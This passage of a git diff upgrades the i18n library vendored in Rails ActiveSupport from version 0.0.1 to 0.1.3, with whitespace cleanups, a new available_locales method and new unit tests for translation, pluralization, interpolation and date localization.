+    # <em>E.g.</em>, with a translation <tt>:foo => "foo {{bar}}"</tt> the option
     # value for the key +bar+ will be interpolated into the translation:
     #   I18n.t :foo, :bar => 'baz' # => 'foo baz'
     #
@@ -116,7 +121,7 @@ module I18n
     # Translation data can contain pluralized translations. Pluralized translations
     # are arrays of singluar/plural versions of translations like <tt>['Foo', 'Foos']</tt>.
     #
-    # Note that <tt>I18n::Backend::Simple</tt> only supports an algorithm for English 
+    # Note that <tt>I18n::Backend::Simple</tt> only supports an algorithm for English
     # pluralization rules. Other algorithms can be supported by custom backends.
     #
     # This returns the singular version of a pluralized translation:
@@ -125,9 +130,9 @@ module I18n
     # These both return the plural version of a pluralized translation:
     #   I18n.t :foo, :count => 0 # => 'Foos'
     #   I18n.t :foo, :count => 2 # => 'Foos'
-    # 
-    # The <tt>:count</tt> option can be used both for pluralization and interpolation. 
-    # <em>E.g.</em>, with the translation 
+    #
+    # The <tt>:count</tt> option can be used both for pluralization and interpolation.
+    # <em>E.g.</em>, with the translation
     # <tt>:foo => ['{{count}} foo', '{{count}} foos']</tt>, count will
     # be interpolated to the pluralized translation:
     #   I18n.t :foo, :count => 1 # => '1 foo'
@@ -137,11 +142,11 @@ module I18n
     # This returns the translation for <tt>:foo</tt> or <tt>default</tt> if no translation was found:
     #   I18n.t :foo, :default => 'default'
     #
-    # This returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt> if no 
+    # This returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt> if no
     # translation for <tt>:foo</tt> was found:
     #   I18n.t :foo, :default => :bar
     #
-    # Returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt> 
+    # Returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt>
     # or <tt>default</tt> if no translations for <tt>:foo</tt> and <tt>:bar</tt> were found.
     #   I18n.t :foo, :default => [:bar, 'default']
     #
@@ -161,9 +166,9 @@ module I18n
     rescue I18n::ArgumentError => e
       raise e if options[:raise]
       send(@@exception_handler, e, locale, key, options)
-    end        
+    end
     alias :t :translate
-    
+
     # Localizes certain objects, such as dates and numbers to local formatting.
     def localize(object, options = {})
       locale = options[:locale] || I18n.locale
@@ -171,7 +176,7 @@ module I18n
       backend.localize(locale, object, format)
     end
     alias :l :localize
-    
+
   protected
     # Handles exceptions raised in the backend. All exceptions except for
     # MissingTranslationData exceptions are re-raised. When a MissingTranslationData
@@ -181,7 +186,7 @@ module I18n
       return exception.message if MissingTranslationData === exception
       raise exception
     end
-          
+
     # Merges the given locale, key and scope into a single array of keys.
     # Splits keys that contain dots into multiple keys. Makes sure all
     # keys are Symbols.
@@ -191,4 +196,4 @@ module I18n
       keys.flatten.map { |k| k.to_sym }
     end
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/backend/simple.rb
similarity index 90%
rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb
rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/backend/simple.rb
index bdda55d3..c09acd7d 100644
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/backend/simple.rb
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/backend/simple.rb
@@ -6,21 +6,21 @@ module I18n
       INTERPOLATION_RESERVED_KEYS = %w(scope default)
       MATCH = /(\\\\)?\{\{([^\}]+)\}\}/
 
-      # Accepts a list of paths to translation files. Loads translations from 
+      # Accepts a list of paths to translation files. Loads translations from
       # plain Ruby (*.rb) or YAML files (*.yml). See #load_rb and #load_yml
       # for details.
       def load_translations(*filenames)
         filenames.each { |filename| load_file(filename) }
       end
-      
-      # Stores translations for the given locale in memory. 
+
+      # Stores translations for the given locale in memory.
       # This uses a deep merge for the translations hash, so existing
       # translations will be overwritten by new ones only at the deepest
       # level of the hash.
       def store_translations(locale, data)
         merge_translations(locale, data)
       end
-      
+
       def translate(locale, key, options = {})
         raise InvalidLocale.new(locale) if locale.nil?
         return key.map { |k| translate(locale, k, options) } if key.is_a? Array
@@ -41,13 +41,13 @@ module I18n
         entry = interpolate(locale, entry, values)
         entry
       end
-      
-      # Acts the same as +strftime+, but returns a localized version of the 
-      # formatted date string. Takes a key from the date/time formats 
-      # translations as a format argument (<em>e.g.</em>, <tt>:short</tt> in <tt>:'date.formats'</tt>).        
+
+      # Acts the same as +strftime+, but returns a localized version of the
+      # formatted date string. Takes a key from the date/time formats
+      # translations as a format argument (<em>e.g.</em>, <tt>:short</tt> in <tt>:'date.formats'</tt>).
       def localize(locale, object, format = :default)
         raise ArgumentError, "Object must be a Date, DateTime or Time object. #{object.inspect} given." unless object.respond_to?(:strftime)
-        
+
         type = object.respond_to?(:sec) ? 'time' : 'date'
         # TODO only translate these if format is a String?
         formats = translate(locale, :"#{type}.formats")
@@ -57,18 +57,24 @@ module I18n
 
         # TODO only translate these if the format string is actually present
         # TODO check which format strings are present, then bulk translate then, then replace them
-        format.gsub!(/%a/, translate(locale, :"date.abbr_day_names")[object.wday]) 
+        format.gsub!(/%a/, translate(locale, :"date.abbr_day_names")[object.wday])
         format.gsub!(/%A/, translate(locale, :"date.day_names")[object.wday])
         format.gsub!(/%b/, translate(locale, :"date.abbr_month_names")[object.mon])
         format.gsub!(/%B/, translate(locale, :"date.month_names")[object.mon])
         format.gsub!(/%p/, translate(locale, :"time.#{object.hour < 12 ? :am : :pm}")) if object.respond_to? :hour
         object.strftime(format)
       end
-      
+
       def initialized?
         @initialized ||= false
       end
 
+      # Returns an array of locales for which translations are available
+      def available_locales
+        init_translations unless initialized?
+        translations.keys
+      end
+
       def reload!
         @initialized = false
         @translations = nil
@@ -76,15 +82,15 @@ module I18n
 
       protected
         def init_translations
-          load_translations(*I18n.load_path)
+          load_translations(*I18n.load_path.flatten)
           @initialized = true
         end
-        
+
         def translations
           @translations ||= {}
         end
-        
-        # Looks up a translation from the translations hash. Returns nil if 
+
+        # Looks up a translation from the translations hash. Returns nil if
         # eiher key is nil, or locale, scope or key do not exist as a key in the
         # nested translations hash. Splits keys or scopes containing dots
         # into multiple keys, i.e. <tt>currency.format</tt> is regarded the same as
@@ -101,19 +107,19 @@ module I18n
             end
           end
         end
-      
-        # Evaluates a default translation. 
+
+        # Evaluates a default translation.
         # If the given default is a String it is used literally. If it is a Symbol
         # it will be translated with the given options. If it is an Array the first
         # translation yielded will be returned.
-        # 
-        # <em>I.e.</em>, <tt>default(locale, [:foo, 'default'])</tt> will return +default+ if 
+        #
+        # <em>I.e.</em>, <tt>default(locale, [:foo, 'default'])</tt> will return +default+ if
         # <tt>translate(locale, :foo)</tt> does not yield a result.
         def default(locale, default, options = {})
           case default
             when String then default
             when Symbol then translate locale, default, options
-            when Array  then default.each do |obj| 
+            when Array  then default.each do |obj|
               result = default(locale, obj, options.dup) and return result
             end and nil
           end
@@ -135,22 +141,17 @@ module I18n
         end
 
         # Interpolates values into a given string.
-        # 
-        #   interpolate "file {{file}} opened by \\{{user}}", :file => 'test.txt', :user => 'Mr. X'  
+        #
+        #   interpolate "file {{file}} opened by \\{{user}}", :file => 'test.txt', :user => 'Mr. X'
         #   # => "file test.txt opened by {{user}}"
-        # 
+        #
         # Note that you have to double escape the <tt>\\</tt> when you want to escape
         # the <tt>{{...}}</tt> key in a string (once for the string and once for the
         # interpolation).
         def interpolate(locale, string, values = {})
           return string unless string.is_a?(String)
 
-          if string.respond_to?(:force_encoding)
-            original_encoding = string.encoding
-            string.force_encoding(Encoding::BINARY)
-          end
-
-          result = string.gsub(MATCH) do
+          string.gsub(MATCH) do
             escaped, pattern, key = $1, $2, $2.to_sym
 
             if escaped
@@ -163,12 +164,9 @@ module I18n
               values[key].to_s
             end
           end
-
-          result.force_encoding(original_encoding) if original_encoding
-          result
         end
-        
-        # Loads a single translations file by delegating to #load_rb or 
+
+        # Loads a single translations file by delegating to #load_rb or
         # #load_yml depending on the file extension and directly merges the
         # data to the existing translations. Raises I18n::UnknownFileType
         # for all other file extensions.
@@ -178,19 +176,19 @@ module I18n
           data = send :"load_#{type}", filename # TODO raise a meaningful exception if this does not yield a Hash
           data.each { |locale, d| merge_translations(locale, d) }
         end
-        
+
         # Loads a plain Ruby translations file. eval'ing the file must yield
         # a Hash containing translation data with locales as toplevel keys.
         def load_rb(filename)
           eval(IO.read(filename), binding, filename)
         end
-        
-        # Loads a YAML translations file. The data must have locales as 
+
+        # Loads a YAML translations file. The data must have locales as
         # toplevel keys.
         def load_yml(filename)
           YAML::load(IO.read(filename))
         end
-        
+
         # Deep merges the given translations hash with the existing translations
         # for the given locale
         def merge_translations(locale, data)
@@ -202,7 +200,7 @@ module I18n
           merger = proc { |key, v1, v2| Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2 }
           translations[locale].merge!(data, &merger)
         end
-        
+
         # Return a new hash with all keys and nested keys converted to symbols.
         def deep_symbolize_keys(hash)
           hash.inject({}) { |result, (key, value)|
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/exceptions.rb
similarity index 99%
rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb
rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/exceptions.rb
index 0f3eff10..b5cea7ac 100644
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.0.1/i18n/exceptions.rb
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/exceptions.rb
@@ -1,6 +1,6 @@
 module I18n
   class ArgumentError < ::ArgumentError; end
-  
+
   class InvalidLocale < ArgumentError
     attr_reader :locale
     def initialize(locale)
@@ -42,7 +42,7 @@ module I18n
       super "reserved key #{key.inspect} used in #{string.inspect}"
     end
   end
-  
+
   class UnknownFileType < ArgumentError
     attr_reader :type, :filename
     def initialize(type, filename)
@@ -50,4 +50,4 @@ module I18n
       super "can not load translations from #{filename}, the file type #{type} is not known"
     end
   end
-end  
\ No newline at end of file
+end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/all.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/all.rb
new file mode 100644
index 00000000..353712da
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/all.rb
@@ -0,0 +1,5 @@
+dir = File.dirname(__FILE__)
+require dir + '/i18n_test.rb'
+require dir + '/simple_backend_test.rb'
+require dir + '/i18n_exceptions_test.rb'
+# *require* dir + '/custom_backend_test.rb'
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_exceptions_test.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_exceptions_test.rb
new file mode 100644
index 00000000..4e78e71b
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_exceptions_test.rb
@@ -0,0 +1,99 @@
+$:.unshift "lib"
+
+require 'rubygems'
+require 'test/unit'
+require 'i18n'
+require 'active_support'
+
+class I18nExceptionsTest < Test::Unit::TestCase
+  def test_invalid_locale_stores_locale
+    force_invalid_locale
+  rescue I18n::ArgumentError => e
+    assert_nil e.locale
+  end
+
+  def test_invalid_locale_message
+    force_invalid_locale
+  rescue I18n::ArgumentError => e
+    assert_equal 'nil is not a valid locale', e.message
+  end
+
+  def test_missing_translation_data_stores_locale_key_and_options
+    force_missing_translation_data
+  rescue I18n::ArgumentError => e
+    options = {:scope => :bar}
+    assert_equal 'de', e.locale
+    assert_equal :foo, e.key
+    assert_equal options, e.options
+  end
+
+  def test_missing_translation_data_message
+    force_missing_translation_data
+  rescue I18n::ArgumentError => e
+    assert_equal 'translation missing: de, bar, foo', e.message
+  end
+
+  def test_invalid_pluralization_data_stores_entry_and_count
+    force_invalid_pluralization_data
+  rescue I18n::ArgumentError => e
+    assert_equal [:bar], e.entry
+    assert_equal 1, e.count
+  end
+
+  def test_invalid_pluralization_data_message
+    force_invalid_pluralization_data
+  rescue I18n::ArgumentError => e
+    assert_equal 'translation data [:bar] can not be used with :count => 1', e.message
+  end
+
+  def test_missing_interpolation_argument_stores_key_and_string
+    force_missing_interpolation_argument
+  rescue I18n::ArgumentError => e
+    assert_equal 'bar', e.key
+    assert_equal "{{bar}}", e.string
+  end
+
+  def test_missing_interpolation_argument_message
+    force_missing_interpolation_argument
+  rescue I18n::ArgumentError => e
+    assert_equal 'interpolation argument bar missing in "{{bar}}"', e.message
+  end
+
+  def test_reserved_interpolation_key_stores_key_and_string
+    force_reserved_interpolation_key
+  rescue I18n::ArgumentError => e
+    assert_equal 'scope', e.key
+    assert_equal "{{scope}}", e.string
+  end
+
+  def test_reserved_interpolation_key_message
+    force_reserved_interpolation_key
+  rescue I18n::ArgumentError => e
+    assert_equal 'reserved key "scope" used in "{{scope}}"', e.message
+  end
+
+  private
+    def force_invalid_locale
+      I18n.backend.translate nil, :foo
+    end
+
+    def force_missing_translation_data
+      I18n.backend.store_translations 'de', :bar => nil
+      I18n.backend.translate 'de', :foo, :scope => :bar
+    end
+
+    def force_invalid_pluralization_data
+      I18n.backend.store_translations 'de', :foo => [:bar]
+      I18n.backend.translate 'de', :foo, :count => 1
+    end
+
+    def force_missing_interpolation_argument
+      I18n.backend.store_translations 'de', :foo => "{{bar}}"
+      I18n.backend.translate 'de', :foo, :baz => 'baz'
+    end
+
+    def force_reserved_interpolation_key
+      I18n.backend.store_translations 'de', :foo => "{{scope}}"
+      I18n.backend.translate 'de', :foo, :baz => 'baz'
+    end
+end
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_test.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_test.rb
new file mode 100644
index 00000000..2835ec4e
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_test.rb
@@ -0,0 +1,124 @@
+$:.unshift "lib"
+
+require 'rubygems'
+require 'test/unit'
+require 'i18n'
+require 'active_support'
+
+class I18nTest < Test::Unit::TestCase
+  def setup
+    I18n.backend.store_translations :'en', {
+      :currency => {
+        :format => {
+          :separator => '.',
+          :delimiter => ',',
+        }
+      }
+    }
+  end
+
+  def test_uses_simple_backend_set_by_default
+    assert I18n.backend.is_a?(I18n::Backend::Simple)
+  end
+
+  def test_can_set_backend
+    assert_nothing_raised{ I18n.backend = self }
+    assert_equal self, I18n.backend
+    I18n.backend = I18n::Backend::Simple.new
+  end
+
+  def test_uses_en_us_as_default_locale_by_default
+    assert_equal 'en', I18n.default_locale
+  end
+
+  def test_can_set_default_locale
+    assert_nothing_raised{ I18n.default_locale = 'de' }
+    assert_equal 'de', I18n.default_locale
+    I18n.default_locale = 'en'
+  end
+
+  def test_uses_default_locale_as_locale_by_default
+    assert_equal I18n.default_locale, I18n.locale
+  end
+
+  def test_can_set_locale_to_thread_current
+    assert_nothing_raised{ I18n.locale = 'de' }
+    assert_equal 'de', I18n.locale
+    assert_equal 'de', Thread.current[:locale]
+    I18n.locale = 'en'
+  end
+
+  def test_can_set_exception_handler
+    assert_nothing_raised{ I18n.exception_handler = :custom_exception_handler }
+    I18n.exception_handler = :default_exception_handler # revert it
+  end
+
+  def test_uses_custom_exception_handler
+    I18n.exception_handler = :custom_exception_handler
+    I18n.expects(:custom_exception_handler)
+    I18n.translate :bogus
+    I18n.exception_handler = :default_exception_handler # revert it
+  end
+
+  def test_delegates_translate_to_backend
+    I18n.backend.expects(:translate).with 'de', :foo, {}
+    I18n.translate :foo, :locale => 'de'
+  end
+
+  def test_delegates_localize_to_backend
+    I18n.backend.expects(:localize).with 'de', :whatever, :default
+    I18n.localize :whatever, :locale => 'de'
+  end
+
+  def test_translate_given_no_locale_uses_i18n_locale
+    I18n.backend.expects(:translate).with 'en', :foo, {}
+    I18n.translate :foo
+  end
+
+  def test_translate_on_nested_symbol_keys_works
+    assert_equal ".", I18n.t(:'currency.format.separator')
+  end
+
+  def test_translate_with_nested_string_keys_works
+    assert_equal ".", I18n.t('currency.format.separator')
+  end
+
+  def test_translate_with_array_as_scope_works
+    assert_equal ".", I18n.t(:separator, :scope => ['currency.format'])
+  end
+
+  def test_translate_with_array_containing_dot_separated_strings_as_scope_works
+    assert_equal ".", I18n.t(:separator, :scope => ['currency.format'])
+  end
+
+  def test_translate_with_key_array_and_dot_separated_scope_works
+    assert_equal [".", ","], I18n.t(%w(separator delimiter), :scope => 'currency.format')
+  end
+
+  def test_translate_with_dot_separated_key_array_and_scope_works
+    assert_equal [".", ","], I18n.t(%w(format.separator format.delimiter), :scope => 'currency')
+  end
+
+  def test_translate_with_options_using_scope_works
+    I18n.backend.expects(:translate).with('de', :precision, :scope => :"currency.format")
+    I18n.with_options :locale => 'de', :scope => :'currency.format' do |locale|
+      locale.t :precision
+    end
+  end
+
+  # def test_translate_given_no_args_raises_missing_translation_data
+  #   assert_equal "translation missing: en, no key", I18n.t
+  # end
+
+  def test_translate_given_a_bogus_key_raises_missing_translation_data
+    assert_equal "translation missing: en, bogus", I18n.t(:bogus)
+  end
+
+  def test_localize_nil_raises_argument_error
+    assert_raise(I18n::ArgumentError) { I18n.l nil }
+  end
+
+  def test_localize_object_raises_argument_error
+    assert_raise(I18n::ArgumentError) { I18n.l Object.new }
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.rb
new file mode 100644
index 00000000..6044ce10
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.rb
@@ -0,0 +1 @@
+{:'en-Ruby' => {:foo => {:bar => "baz"}}}
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.yml b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.yml
new file mode 100644
index 00000000..0b298c9c
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.yml
@@ -0,0 +1,3 @@
+en-Yaml:
+  foo:
+    bar: baz
\ No newline at end of file
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/simple_backend_test.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/simple_backend_test.rb
new file mode 100644
index 00000000..a1696c77
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/simple_backend_test.rb
@@ -0,0 +1,567 @@
+# encoding: utf-8
+$:.unshift "lib"
+
+require 'rubygems'
+require 'test/unit'
+require 'i18n'
+require 'time'
+require 'yaml'
+
+module I18nSimpleBackendTestSetup
+  def setup_backend
+    # backend_reset_translations!
+    @backend = I18n::Backend::Simple.new
+    @backend.store_translations 'en', :foo => {:bar => 'bar', :baz => 'baz'}
+    @locale_dir = File.dirname(__FILE__) + '/locale'
+  end
+  alias :setup :setup_backend
+
+  # def backend_reset_translations!
+  #   I18n::Backend::Simple::ClassMethods.send :class_variable_set, :@@translations, {}
+  # end
+
+  def backend_get_translations
+    # I18n::Backend::Simple::ClassMethods.send :class_variable_get, :@@translations
+    @backend.instance_variable_get :@translations
+  end
+
+  def add_datetime_translations
+    @backend.store_translations :'de', {
+      :date => {
+        :formats => {
+          :default => "%d.%m.%Y",
+          :short => "%d. %b",
+          :long => "%d. %B %Y",
+        },
+        :day_names => %w(Sonntag Montag Dienstag Mittwoch Donnerstag Freitag Samstag),
+        :abbr_day_names => %w(So Mo Di Mi Do Fr  Sa),
+        :month_names => %w(Januar Februar März April Mai Juni Juli August September Oktober November Dezember).unshift(nil),
+        :abbr_month_names => %w(Jan Feb Mar Apr Mai Jun Jul Aug Sep Okt Nov Dez).unshift(nil),
+        :order => [:day, :month, :year]
+      },
+      :time => {
+        :formats => {
+          :default => "%a, %d. %b %Y %H:%M:%S %z",
+          :short => "%d. %b %H:%M",
+          :long => "%d. %B %Y %H:%M",
+        },
+        :am => 'am',
+        :pm => 'pm'
+      },
+      :datetime => {
+        :distance_in_words => {
+          :half_a_minute => 'half a minute',
+          :less_than_x_seconds => {
+            :one => 'less than 1 second',
+            :other => 'less than {{count}} seconds'
+          },
+          :x_seconds => {
+            :one => '1 second',
+            :other => '{{count}} seconds'
+          },
+          :less_than_x_minutes => {
+            :one => 'less than a minute',
+            :other => 'less than {{count}} minutes'
+          },
+          :x_minutes => {
+            :one => '1 minute',
+            :other => '{{count}} minutes'
+          },
+          :about_x_hours => {
+            :one => 'about 1 hour',
+            :other => 'about {{count}} hours'
+          },
+          :x_days => {
+            :one => '1 day',
+            :other => '{{count}} days'
+          },
+          :about_x_months => {
+            :one => 'about 1 month',
+            :other => 'about {{count}} months'
+          },
+          :x_months => {
+            :one => '1 month',
+            :other => '{{count}} months'
+          },
+          :about_x_years => {
+            :one => 'about 1 year',
+            :other => 'about {{count}} year'
+          },
+          :over_x_years => {
+            :one => 'over 1 year',
+            :other => 'over {{count}} years'
+          }
+        }
+      }
+    }
+  end
+end
+
+class I18nSimpleBackendTranslationsTest < Test::Unit::TestCase
+  include I18nSimpleBackendTestSetup
+
+  def test_store_translations_adds_translations # no, really :-)
+    @backend.store_translations :'en', :foo => 'bar'
+    assert_equal Hash[:'en', {:foo => 'bar'}], backend_get_translations
+  end
+
+  def test_store_translations_deep_merges_translations
+    @backend.store_translations :'en', :foo => {:bar => 'bar'}
+    @backend.store_translations :'en', :foo => {:baz => 'baz'}
+    assert_equal Hash[:'en', {:foo => {:bar => 'bar', :baz => 'baz'}}], backend_get_translations
+  end
+
+  def test_store_translations_forces_locale_to_sym
+    @backend.store_translations 'en', :foo => 'bar'
+    assert_equal Hash[:'en', {:foo => 'bar'}], backend_get_translations
+  end
+
+  def test_store_translations_converts_keys_to_symbols
+    # backend_reset_translations!
+    @backend.store_translations 'en', 'foo' => {'bar' => 'bar', 'baz' => 'baz'}
+    assert_equal Hash[:'en', {:foo => {:bar => 'bar', :baz => 'baz'}}], backend_get_translations
+  end
+end
+
+class I18nSimpleBackendAvailableLocalesTest < Test::Unit::TestCase
+  def test_available_locales
+    @backend = I18n::Backend::Simple.new
+    @backend.store_translations 'de', :foo => 'bar'
+    @backend.store_translations 'en', :foo => 'foo'
+
+    assert_equal ['de', 'en'], @backend.available_locales.map{|locale| locale.to_s }.sort
+  end
+end
+
+class I18nSimpleBackendTranslateTest < Test::Unit::TestCase
+  include I18nSimpleBackendTestSetup
+
+  def test_translate_calls_lookup_with_locale_given
+    @backend.expects(:lookup).with('de', :bar, [:foo]).returns 'bar'
+    @backend.translate 'de', :bar, :scope => [:foo]
+  end
+
+  def test_given_no_keys_it_returns_the_default
+    assert_equal 'default', @backend.translate('en', nil, :default => 'default')
+  end
+
+  def test_translate_given_a_symbol_as_a_default_translates_the_symbol
+    assert_equal 'bar', @backend.translate('en', nil, :scope => [:foo], :default => :bar)
+  end
+
+  def test_translate_given_an_array_as_default_uses_the_first_match
+    assert_equal 'bar', @backend.translate('en', :does_not_exist, :scope => [:foo], :default => [:does_not_exist_2, :bar])
+  end
+
+  def test_translate_given_an_array_of_inexistent_keys_it_raises_missing_translation_data
+    assert_raise I18n::MissingTranslationData do
+      @backend.translate('en', :does_not_exist, :scope => [:foo], :default => [:does_not_exist_2, :does_not_exist_3])
+    end
+  end
+
+  def test_translate_an_array_of_keys_translates_all_of_them
+    assert_equal %w(bar baz), @backend.translate('en', [:bar, :baz], :scope => [:foo])
+  end
+
+  def test_translate_calls_pluralize
+    @backend.expects(:pluralize).with 'en', 'bar', 1
+    @backend.translate 'en', :bar, :scope => [:foo], :count => 1
+  end
+
+  def test_translate_calls_interpolate
+    @backend.expects(:interpolate).with 'en', 'bar', {}
+    @backend.translate 'en', :bar, :scope => [:foo]
+  end
+
+  def test_translate_calls_interpolate_including_count_as_a_value
+    @backend.expects(:interpolate).with 'en', 'bar', {:count => 1}
+    @backend.translate 'en', :bar, :scope => [:foo], :count => 1
+  end
+
+  def test_translate_given_nil_as_a_locale_raises_an_argument_error
+    assert_raise(I18n::InvalidLocale){ @backend.translate nil, :bar }
+  end
+
+  def test_translate_with_a_bogus_key_and_no_default_raises_missing_translation_data
+    assert_raise(I18n::MissingTranslationData){ @backend.translate 'de', :bogus }
+  end
+end
+
+class I18nSimpleBackendLookupTest < Test::Unit::TestCase
+  include I18nSimpleBackendTestSetup
+
+  # useful because this way we can use the backend with no key for interpolation/pluralization
+  def test_lookup_given_nil_as_a_key_returns_nil
+    assert_nil @backend.send(:lookup, 'en', nil)
+  end
+
+  def test_lookup_given_nested_keys_looks_up_a_nested_hash_value
+    assert_equal 'bar', @backend.send(:lookup, 'en', :bar, [:foo])
+  end
+end
+
+class I18nSimpleBackendPluralizeTest < Test::Unit::TestCase
+  include I18nSimpleBackendTestSetup
+
+  def test_pluralize_given_nil_returns_the_given_entry
+    entry = {:one => 'bar', :other => 'bars'}
+    assert_equal entry, @backend.send(:pluralize, nil, entry, nil)
+  end
+
+  def test_pluralize_given_0_returns_zero_string_if_zero_key_given
+    assert_equal 'zero', @backend.send(:pluralize, nil, {:zero => 'zero', :one => 'bar', :other => 'bars'}, 0)
+  end
+
+  def test_pluralize_given_0_returns_plural_string_if_no_zero_key_given
+    assert_equal 'bars', @backend.send(:pluralize, nil, {:one => 'bar', :other => 'bars'}, 0)
+  end
+
+  def test_pluralize_given_1_returns_singular_string
+    assert_equal 'bar', @backend.send(:pluralize, nil, {:one => 'bar', :other => 'bars'}, 1)
+  end
+
+  def test_pluralize_given_2_returns_plural_string
+    assert_equal 'bars', @backend.send(:pluralize, nil, {:one => 'bar', :other => 'bars'}, 2)
+  end
+
+  def test_pluralize_given_3_returns_plural_string
+    assert_equal 'bars', @backend.send(:pluralize, nil, {:one => 'bar', :other => 'bars'}, 3)
+  end
+
+  def test_interpolate_given_incomplete_pluralization_data_raises_invalid_pluralization_data
+    assert_raise(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, {:one => 'bar'}, 2) }
+  end
+
+  # def test_interpolate_given_a_string_raises_invalid_pluralization_data
+  #   assert_raise(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, 'bar', 2) }
+  # end
+  #
+  # def test_interpolate_given_an_array_raises_invalid_pluralization_data
+  #   assert_raise(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, ['bar'], 2) }
+  # end
+end
+
+class I18nSimpleBackendInterpolateTest < Test::Unit::TestCase
+  include I18nSimpleBackendTestSetup
+
+  def test_interpolate_given_a_value_hash_interpolates_the_values_to_the_string
+    assert_equal 'Hi David!', @backend.send(:interpolate, nil, 'Hi {{name}}!', :name => 'David')
+  end
+
+  def test_interpolate_given_a_value_hash_interpolates_into_unicode_string
+    assert_equal 'Häi David!', @backend.send(:interpolate, nil, 'Häi {{name}}!', :name => 'David')
+  end
+
+  def test_interpolate_given_an_unicode_value_hash_interpolates_to_the_string
+    assert_equal 'Hi ゆきひろ!', @backend.send(:interpolate, nil, 'Hi {{name}}!', :name => 'ゆきひろ')
+  end
+
+  def test_interpolate_given_an_unicode_value_hash_interpolates_into_unicode_string
+    assert_equal 'こんにちは、ゆきひろさん!', @backend.send(:interpolate, nil, 'こんにちは、{{name}}さん!', :name => 'ゆきひろ')
+  end
+
+  if Kernel.const_defined?(:Encoding)
+    def test_interpolate_given_a_non_unicode_multibyte_value_hash_interpolates_into_a_string_with_the_same_encoding
+      assert_equal euc_jp('Hi ゆきひろ!'), @backend.send(:interpolate, nil, 'Hi {{name}}!', :name => euc_jp('ゆきひろ'))
+    end
+
+    def test_interpolate_given_an_unicode_value_hash_into_a_non_unicode_multibyte_string_raises_encoding_compatibility_error
+      assert_raise(Encoding::CompatibilityError) do
+        @backend.send(:interpolate, nil, euc_jp('こんにちは、{{name}}さん!'), :name => 'ゆきひろ')
+      end
+    end
+
+    def test_interpolate_given_a_non_unicode_multibyte_value_hash_into_an_unicode_string_raises_encoding_compatibility_error
+      assert_raise(Encoding::CompatibilityError) do
+        @backend.send(:interpolate, nil, 'こんにちは、{{name}}さん!', :name => euc_jp('ゆきひろ'))
+      end
+    end
+  end
+
+  def test_interpolate_given_nil_as_a_string_returns_nil
+    assert_nil @backend.send(:interpolate, nil, nil, :name => 'David')
+  end
+
+  def test_interpolate_given_an_non_string_as_a_string_returns_nil
+    assert_equal [], @backend.send(:interpolate, nil, [], :name => 'David')
+  end
+
+  def test_interpolate_given_a_values_hash_with_nil_values_interpolates_the_string
+    assert_equal 'Hi !', @backend.send(:interpolate, nil, 'Hi {{name}}!', {:name => nil})
+  end
+
+  def test_interpolate_given_an_empty_values_hash_raises_missing_interpolation_argument
+    assert_raise(I18n::MissingInterpolationArgument) { @backend.send(:interpolate, nil, 'Hi {{name}}!', {}) }
+  end
+
+  def test_interpolate_given_a_string_containing_a_reserved_key_raises_reserved_interpolation_key
+    assert_raise(I18n::ReservedInterpolationKey) { @backend.send(:interpolate, nil, '{{default}}', {:default => nil}) }
+  end
+  
+  private
+  
+  def euc_jp(string)
+    string.encode!(Encoding::EUC_JP)
+  end
+end
+
+class I18nSimpleBackendLocalizeDateTest < Test::Unit::TestCase
+  include I18nSimpleBackendTestSetup
+
+  def setup
+    @backend = I18n::Backend::Simple.new
+    add_datetime_translations
+    @date = Date.new 2008, 1, 1
+  end
+
+  def test_translate_given_the_short_format_it_uses_it
